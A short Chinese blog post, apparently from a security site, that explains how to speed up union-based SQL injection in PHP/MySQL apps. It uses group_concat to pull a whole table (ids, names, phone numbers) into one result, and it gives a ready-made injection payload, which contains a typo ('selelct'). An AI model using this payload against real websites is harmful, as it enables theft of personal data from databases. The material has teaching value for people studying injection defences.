php mysql注入的一种快速有效union方法select出数据库内容

分类:安全 | 2012-03-23 | 撸过 89 次
0人扯谈

php sql injector的时候,很多情况下都是显示一行一行的数据,要一次得到全部数据或者表格,那就的重复多次。

 

函数group_concat可以实现将表格放入一个单元格中(即仅有一行一列)

 

例如:

 

select group_concat(id,0x7c,name,0x7c,tel,0x5d) from g

 

那么将得到:

 

1|张三|83023023],|李四|13893232322],…..

 

(注意上面查询结果不是一行多列,而是一行一列)

 

假设原来的sql注入地方为:

 

select name from userinfo where id=$id

 

那么可以这样构造:

 

id=1 and 1=2 union selelct group_concat(id,0x7c,name,0x7c,tel,0x5d) from g
本站内容均为原创,转载请务必保留署名与链接!
php mysql注入的一种快速有效union方法select出数据库内容:https://www.webshell.cc/3415.html

随机日志